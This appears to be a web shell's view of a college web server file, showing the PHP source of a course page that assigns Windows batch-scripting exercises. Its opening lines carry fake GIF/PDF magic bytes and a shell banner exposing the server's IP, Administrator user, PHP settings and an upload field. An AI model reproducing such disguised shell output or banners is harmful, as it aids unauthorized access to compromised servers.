GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/JimMartinson/_Archive/CST1861/ |
Upload File : |
<? // JimMartinson/CST1861/Lab01.php $TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n"; ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path. $thisFile=__FILE__; $thisLine=__LINE__; include('application.phpinc'); $thisFile=__FILE__; $thisLine=__LINE__; include('Course/courseInfo.phpinc'); $thisFile=__FILE__; $thisLine=__LINE__; include('classInfo.phpinc'); $assignmentNumber = 2; $assignmentType = "Lab"; $assignmentTitle = "Batch programs"; $evaluationType = "Lab"; $evaluationTitle = $assignmentTitle; if (strlen($assignmentNumber) == 1) { $assignmentName = $assignmentType."0".$assignmentNumber; $evaluationName = $evaluationType."0".$assignmentNumber; } else { $assignmentName = $assignmentType.$assignmentNumber; $evaluationName = $evaluationType.$assignmentNumber; } if ($evaluationTitle != '') $evaluationTitle = ' - '.$evaluationTitle; $title = $assignmentType." ".$assignmentNumber.": ".$assignmentTitle; $headTitle = '_CST_ - '.$courseNumber.' '.$courseTitle.' - '.$title; $pageTitle = $courseNumber.' '.$courseTitle.'<br>'.$title; $pageMenu = 'Course/courseMenu.phpinc'; $smallTitle = true; $thisFile = __FILE__; $thisLine=__LINE__; include('common/pageHeader.phpinc'); $thisFile=__FILE__; $thisLine=__LINE__; include('Login/authenticate.phpinc'); $sectionTitle = $courseNumber.' '.$courseTitle.' - '.$title; $thisFile = __FILE__; $thisLine=__LINE__; include('common/sectionHeader.phpinc'); $userFullName = str_replace(" ","",$_SESSION['userFullName']); ?> <style type="text/css"> pre { line-height:1.0em; } </style> <p> <fieldset><legend>Description</legend><span class="normal"> Create batch programs. </span></fieldset> <fieldset><legend>Lab Instruction</legend><span class="normal"> <ol> <li><b>Write and hand in five of the following ten batch programs.</b> <ol type="i"> <!-- addtopath.cmd --> <li><b>Create addtopath.cmd.</b> <pre class="Tcode">@echo off <span style="color:#FF0000; background-color:#FFFF00">:: addtopath.cmd</span> <span style="color:#FF0000; background-color:#FFFF00">:: Written by: <?=$_SESSION['userFullName']?></span> <span style="color:#FF0000; background-color:#FFFF00">:: Written on: <?=date("Y/m/d")?></span> setlocal enableextensions <span style="color:#FF0000; background-color:#FFFF00">:: Display help when the /? parameter is passed.</span> if NOT "%~1"=="/?" goto SkipHelp echo Adds a new path to the Path environmetal variable. echo. echo Usage: %~n0 [new_path] echo. echo new_path = The new_path to append to the Path. echo If no new path is given simply display the current path. echo. goto:EOF <span style="background-color:#99FF99">:SkipHelp</span> </pre> </li> <!-- currentdrivefree.cmd --> <li><b>Write currentdrivefree.cmd.</b> <pre class="Tcode">@echo off <span style="color:#FF0000; background-color:#FFFF00">:: currentdrivefree.cmd</span> <span style="color:#FF0000; background-color:#FFFF00">:: Written by: <?=$_SESSION['userFullName']?></span> <span style="color:#FF0000; background-color:#FFFF00">:: Written on: <?=date("Y/m/d")?></span> setlocal enableextensions <span style="color:#FF0000; background-color:#FFFF00">:: Display help when the /? parameter is passed.</span> if NOT "%~1"=="/?" goto SkipHelp echo Show free space on the current drive. echo. echo Usage: %~n0 echo. goto:EOF <span style="background-color:#99FF99">:SkipHelp</span> </pre> </li> <!-- currentdrivetype.cmd --> <li><b>Write currentdrivetype.cmd.</b> <pre class="Tcode">@echo off <span style="color:#FF0000; background-color:#FFFF00">:: currentdrivetype.cmd</span> <span style="color:#FF0000; background-color:#FFFF00">:: Written by: <?=$_SESSION['userFullName']?></span> <span style="color:#FF0000; background-color:#FFFF00">:: Written on: <?=date("Y/m/d")?></span> setlocal enableextensions <span style="color:#FF0000; background-color:#FFFF00">:: Display help when the /? parameter is passed.</span> if NOT "%~1"=="/?" goto SkipHelp echo Display the drive type of the current drive. echo. echo Usage: %~n0 echo. goto:EOF <span style="background-color:#99FF99">:SkipHelp</span> <span style="color:#FF0000; background-color:#FFFF00">::NOTES: ::The following commands may be helpful: :: fsutil fsinfo drivetype D:</span> </pre> </li> <!-- currentdriveused.cmd --> <li><b>Write currentdriveused.cmd.</b> <pre class="Tcode">@echo off <span style="color:#FF0000; background-color:#FFFF00">:: currentdriveused.cmd</span> <span style="color:#FF0000; background-color:#FFFF00">:: Written by: <?=$_SESSION['userFullName']?></span> <span style="color:#FF0000; background-color:#FFFF00">:: Written on: <?=date("Y/m/d")?></span> setlocal enableextensions <span style="color:#FF0000; background-color:#FFFF00">:: Display help when the /? parameter is passed.</span> if NOT "%~1"=="/?" goto SkipHelp echo Show used space on current, all, or selected drive. echo. echo Usage: %~n0 echo. echo /a = Show used space for all drives. echo drive: = The drive to show used space for. echo The default is the current drive. echo. goto:EOF <span style="background-color:#99FF99">:SkipHelp</span> <span style="color:#FF0000; background-color:#FFFF00">::NOTES: ::The following command may be useful: :: fsutil fsinfo drives</span> </pre> </li> <!-- myuptime.cmd --> <li><b>Write myuptime.cmd.</b> <pre class="Tcode">@echo off <span style="color:#FF0000; background-color:#FFFF00">:: myuptime.cmd</span> <span style="color:#FF0000; background-color:#FFFF00">:: Written by: <?=$_SESSION['userFullName']?></span> <span style="color:#FF0000; background-color:#FFFF00">:: Written on: <?=date("Y/m/d")?></span> setlocal enableextensions <span style="color:#FF0000; background-color:#FFFF00">:: Display help when the /? parameter is passed.</span> if NOT "%~1"=="/?" goto SkipHelp echo Show how long the computer has been up and running. echo. echo Usage: %~n0 echo. goto:EOF <span style="background-color:#99FF99">:SkipHelp</span> <span style="color:#FF0000; background-color:#FFFF00">::NOTES: ::Needs <a href="ExampleFiles/srvinfo.exe">srvinfo.exe</a> from the NT4 Server Resource Kit. ::You can download srvinfo.exe from the Assignments folder.</span> </pre> </li> <!-- now.cmd --> <li><b>Write now.cmd.</b> <pre class="Tcode">@echo off <span style="color:#FF0000; background-color:#FFFF00">:: now.cmd</span> <span style="color:#FF0000; background-color:#FFFF00">:: Written by: <?=$_SESSION['userFullName']?></span> <span style="color:#FF0000; background-color:#FFFF00">:: Written on: <?=date("Y/m/d")?></span> setlocal enableextensions <span style="color:#FF0000; background-color:#FFFF00">:: Display help when the /? parameter is passed.</span> if NOT "%~1"=="/?" goto SkipHelp echo Save the current day and date to environment variables. echo. echo Usage: %~n0 echo. echo Save the following day and date information to environment variables: echo _d = Day date (may be single digit). echo _dd = Two digit day date. echo _o = Month (may be single digit). echo _mo = Two digit month. echo _mon = Three letter month abbreviation (Jan, Feb, etc.). echo _month = Full name of month (January, February, etc.). echo _n = Weekday number (Sunday = 0). echo _w = Single letter weekday abbreviation (UMTWHRFS). echo _day = Three letter weekday abbreviation (Mon, Tue, etc.). echo _weekday = Full weekday name (Monday, Tuesday, etc.). echo _yy = Two digit year. echo _yyyy = Four digit year. echo _h = hour (may be single digit). echo _hh = Two digit hour. echo _m = minute (may be single digit). echo _mm = Two digit minute. echo _s = second (may be single digit). echo _ss = Two digit second. echo _la = a if AM, p if PM (a or p). echo _ua = A if AM, P if PM (A or P). echo _lam = am if AM, pm if PM (am or pm). echo _uam = AM if AM, PM if PM (AM or PM). echo. goto:EOF <span style="background-color:#99FF99">:SkipHelp</span> </pre> </li> <!-- onpath.cmd --> <li><b>Write onpath.cmd.</b> <pre class="Tcode">@echo off <span style="color:#FF0000; background-color:#FFFF00">:: onpath.cmd</span> <span style="color:#FF0000; background-color:#FFFF00">:: Written by: <?=$_SESSION['userFullName']?></span> <span style="color:#FF0000; background-color:#FFFF00">:: Written on: <?=date("Y/m/d")?></span> setlocal enableextensions <span style="color:#FF0000; background-color:#FFFF00">:: Display help when the /? parameter is passed.</span> if NOT "%~1"=="/?" goto SkipHelp echo Searches the Path environmetal variable for the program. echo. echo Usage: %~n0 program[.ext] echo. echo program = The program to search for. echo ext = The program extension. echo If no extension is given search for all program echo extensions in the PATHEXT environment variable. echo. goto:EOF <span style="background-color:#99FF99">:SkipHelp</span> <span style="color:#FF0000; background-color:#FFFF00">::NOTES: ::If the program is not found display an error message.</span> </pre> </li> <!-- strlen.cmd --> <li><b>Write strlen.cmd.</b> <pre class="Tcode">@echo off <span style="color:#FF0000; background-color:#FFFF00">:: strlen.cmd</span> <span style="color:#FF0000; background-color:#FFFF00">:: Written by: <?=$_SESSION['userFullName']?></span> <span style="color:#FF0000; background-color:#FFFF00">:: Written on: <?=date("Y/m/d")?></span> setlocal enableextensions <span style="color:#FF0000; background-color:#FFFF00">:: Display help when the /? parameter is passed.</span> if NOT "%~1"=="/?" goto SkipHelp echo Count the number of characters in a string. echo. echo Usage: %~n0 string echo. echo string = The string used to count characters. echo. goto:EOF <span style="background-color:#99FF99">:SkipHelp</span> <span style="color:#FF0000; background-color:#FFFF00">::NOTES: ::See the help for the set command to see ways to parse a string. ::Look at the environment variable substitution section.</span> </pre> </li> <!-- vm.cmd --> <li><b>Write vm.cmd.</b> <pre class="Tcode">@echo off <span style="color:#FF0000; background-color:#FFFF00">:: vm.cmd</span> <span style="color:#FF0000; background-color:#FFFF00">:: Written by: <?=$_SESSION['userFullName']?></span> <span style="color:#FF0000; background-color:#FFFF00">:: Written on: <?=date("Y/m/d")?></span> setlocal enableextensions <span style="color:#FF0000; background-color:#FFFF00">:: Display help when the /? parameter is passed.</span> if NOT "%~1"=="/?" goto SkipHelp echo Start VMware services, start VMware, then stop VMware services when VMware closes. echo. echo Usage: %~n0 echo. goto:EOF <span style="background-color:#99FF99">:SkipHelp</span> </pre> </li> <!-- xd.cmd --> <li><b>Write xd.cmd.</b> <pre class="Tcode">@echo off <span style="color:#FF0000; background-color:#FFFF00">:: xd.cmd</span> <span style="color:#FF0000; background-color:#FFFF00">:: Written by: <?=$_SESSION['userFullName']?></span> <span style="color:#FF0000; background-color:#FFFF00">:: Written on: <?=date("Y/m/d")?></span> setlocal enableextensions <span style="color:#FF0000; background-color:#FFFF00">:: Display help when the /? parameter is passed.</span> if NOT "%~1"=="/?" goto SkipHelp echo Change to the drive\path. echo If the directory does not exist make it. echo. echo %~n0 [drive:]path echo. echo drive: = The drive to change to. echo path = The directory to change to. echo If the directory does not exist it is created. echo. goto:EOF <span style="background-color:#99FF99">:SkipHelp</span> <span style="color:#FF0000; background-color:#FFFF00">::NOTES: ::An error should be given in the path cannot be created. ::An error should be displayed if the path cannot be moved to.</span> </pre> </li> </ol> </li> <li>Zip up your five batch files as <?=$courseNumber?>_<?=$evaluationName?>_<?=$userFullName?>.zip</li> <li>Send an email to <a href="mailto:jim.martinson@ridgewater.edu?subject=<?=$courseNumber?> <?=$evaluationName?> Submission">jim.martinson@ridgewater.edu</a> with a subject of <b style="white-space:nowrap"><?=$courseNumber?> <?=$evaluationName?> Submission</b> and attach the following file: <br /><?=$courseNumber?>_<?=$evaluationName?>_<?=$userFullName?>.zip</li> </ol> </span></fieldset> <fieldset class="pio"><legend>Grading Criteria</legend><span class="normal"> Demonstrated assignment effectively: 10 points. <br /> There are some things I expect. If they are incorrect you will lose the following: <br /> Incorrect attachment file name: -1 pt. <br /> Work submitted incorrectly: -1pt. <br /> Incorrect subject in email: -1pt. <br /> Second and subsequent submission of work for grading: -1pt. <br /> Work submitted late: -1pt. </span></fieldset> <fieldset class="pio"><legend>Objectives</legend><span class="normal"> <ol class="obj pio" start="3"> <!-- 1 3 --> <li>Create a batch program that demonstrates the use of help.</li> <li>Create a batch program that demonstrates the use of command line extensions.</li> <li>Create a batch program that demonstrates the use of internal calls.</li> <li>Create a batch program that demonstrates the use of the call, echo, for, goto, if, set, and shift commands.</li> <li>Create a batch program that demonstrates the use of errorlevel.</li> </ol> </span></fieldset> <? $thisFile=__FILE__; $thisLine=__LINE__; include('ReferencesResources.phpinc'); $thisFile = __FILE__; $thisLine=__LINE__; include('common/sectionFooter.phpinc'); $thisFile = __FILE__; $thisLine=__LINE__; include('common/pageFooter.phpinc'); ?>